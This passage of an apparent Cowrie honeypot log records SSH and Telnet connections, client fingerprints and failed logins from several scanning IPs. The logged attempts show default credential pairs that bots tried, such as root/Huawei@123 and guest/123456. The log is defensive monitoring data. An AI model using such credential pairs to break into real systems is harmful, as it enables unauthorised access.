{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:27:06.032296Z","src_ip":"172.237.20.62","session":"18184421950c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"localhost","password":"localhost","message":"login attempt [localhost/localhost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:27:06.510726Z","src_ip":"172.237.20.62","session":"18184421950c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":35080,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c6b8706371b","protocol":"telnet","message":"New connection: 45.58.127.90:35080 (10.17.0.5:23) [session: 3c6b8706371b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:27:06.710707Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:27:07.673760Z","src_ip":"172.237.20.62","session":"18184421950c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":60158,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ca2000b33d1","protocol":"ssh","message":"New connection: 172.237.20.62:60158 (159.203.135.109:22) [session: 3ca2000b33d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:27:17.042529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:27:17.047873Z","src_ip":"172.237.20.62","session":"3ca2000b33d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:27:17.210875Z","src_ip":"172.237.20.62","session":"3ca2000b33d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passw0rd","message":"login attempt [root/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:27:17.698717Z","src_ip":"172.237.20.62","session":"3ca2000b33d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:27:18.864783Z","src_ip":"172.237.20.62","session":"3ca2000b33d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.217.149.27","src_port":46766,"dst_ip":"10.17.0.5","dst_port":22,"session":"75f717fbdbde","protocol":"ssh","message":"New connection: 114.217.149.27:46766 (10.17.0.5:22) [session: 75f717fbdbde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:27:27.481229Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":51138,"dst_ip":"159.203.135.109","dst_port":22,"session":"677a10d54e80","protocol":"ssh","message":"New connection: 172.237.20.62:51138 (159.203.135.109:22) [session: 677a10d54e80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:27:27.947707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:27:27.952867Z","src_ip":"172.237.20.62","session":"677a10d54e80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:27:28.112207Z","src_ip":"172.237.20.62","session":"677a10d54e80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei@123","message":"login attempt [root/Huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:27:28.597067Z","src_ip":"172.237.20.62","session":"677a10d54e80","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:27:28.894408Z","src_ip":"114.217.149.27","session":"75f717fbdbde","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:27:28.898628Z","src_ip":"114.217.149.27","session":"75f717fbdbde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:27:29.758390Z","src_ip":"172.237.20.62","session":"677a10d54e80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"oracle@1234","message":"login attempt [root/oracle@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:27:30.464808Z","src_ip":"114.217.149.27","session":"75f717fbdbde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.779701232910156,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:27:31.199502Z","src_ip":"45.58.127.90","session":"50191b4965d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:27:31.966798Z","src_ip":"114.217.149.27","session":"75f717fbdbde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.02053666114807,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:27:33.990214Z","src_ip":"45.58.127.90","session":"cf496b92a73f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.16569900512695,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:27:38.035071Z","src_ip":"45.58.127.90","session":"fd3a8fec314c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":46026,"dst_ip":"159.203.135.109","dst_port":22,"session":"14ea7628ab01","protocol":"ssh","message":"New connection: 172.237.20.62:46026 (159.203.135.109:22) [session: 14ea7628ab01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:27:38.848071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:27:38.854337Z","src_ip":"172.237.20.62","session":"14ea7628ab01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.198293685913086,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:27:38.861998Z","src_ip":"45.58.127.90","session":"88c2cb0d68ac","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:27:39.014498Z","src_ip":"172.237.20.62","session":"14ea7628ab01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"test","message":"login attempt [testuser/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:27:39.492718Z","src_ip":"172.237.20.62","session":"14ea7628ab01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:27:40.679855Z","src_ip":"172.237.20.62","session":"14ea7628ab01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.18.27.102","src_port":56483,"dst_ip":"10.17.0.5","dst_port":23,"session":"67e3d7a84ae6","protocol":"telnet","message":"New connection: 157.18.27.102:56483 (10.17.0.5:23) [session: 67e3d7a84ae6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:27:46.559805Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":56006,"dst_ip":"10.17.0.5","dst_port":23,"session":"a62065f7e9ea","protocol":"telnet","message":"New connection: 45.58.127.90:56006 (10.17.0.5:23) [session: a62065f7e9ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:27:49.238557Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":56012,"dst_ip":"10.17.0.5","dst_port":23,"session":"45cf8fb4eb7f","protocol":"telnet","message":"New connection: 45.58.127.90:56012 (10.17.0.5:23) [session: 45cf8fb4eb7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:27:49.621000Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":44372,"dst_ip":"159.203.135.109","dst_port":22,"session":"01eeef08676b","protocol":"ssh","message":"New connection: 172.237.20.62:44372 (159.203.135.109:22) [session: 01eeef08676b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:27:49.881301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:27:49.886380Z","src_ip":"172.237.20.62","session":"01eeef08676b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:27:50.049417Z","src_ip":"172.237.20.62","session":"01eeef08676b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"root1","message":"login attempt [root1/root1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:27:50.545890Z","src_ip":"172.237.20.62","session":"01eeef08676b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.46514582633972,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:27:51.175738Z","src_ip":"45.58.127.90","session":"3c6b8706371b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:27:51.715696Z","src_ip":"172.237.20.62","session":"01eeef08676b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":41838,"dst_ip":"159.203.135.109","dst_port":22,"session":"657e17c589a5","protocol":"ssh","message":"New connection: 172.237.20.62:41838 (159.203.135.109:22) [session: 657e17c589a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:28:00.957330Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:28:00.962582Z","src_ip":"172.237.20.62","session":"657e17c589a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:28:01.122399Z","src_ip":"172.237.20.62","session":"657e17c589a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"123456","message":"login attempt [guest/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:28:01.600669Z","src_ip":"172.237.20.62","session":"657e17c589a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.87.188.93","src_port":34374,"dst_ip":"10.17.0.5","dst_port":23,"session":"10969371ac48","protocol":"telnet","message":"New connection: 183.87.188.93:34374 (10.17.0.5:23) [session: 10969371ac48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:28:01.624009Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:28:02.764071Z","src_ip":"172.237.20.62","session":"657e17c589a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":55206,"dst_ip":"10.17.0.5","dst_port":23,"session":"949c7e631ad5","protocol":"telnet","message":"New connection: 45.58.127.90:55206 (10.17.0.5:23) [session: 949c7e631ad5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:28:07.063512Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":41670,"dst_ip":"159.203.135.109","dst_port":22,"session":"43c37c6c600a","protocol":"ssh","message":"New connection: 172.237.20.62:41670 (159.203.135.109:22) [session: 43c37c6c600a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:28:11.741549Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:28:11.746153Z","src_ip":"172.237.20.62","session":"43c37c6c600a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-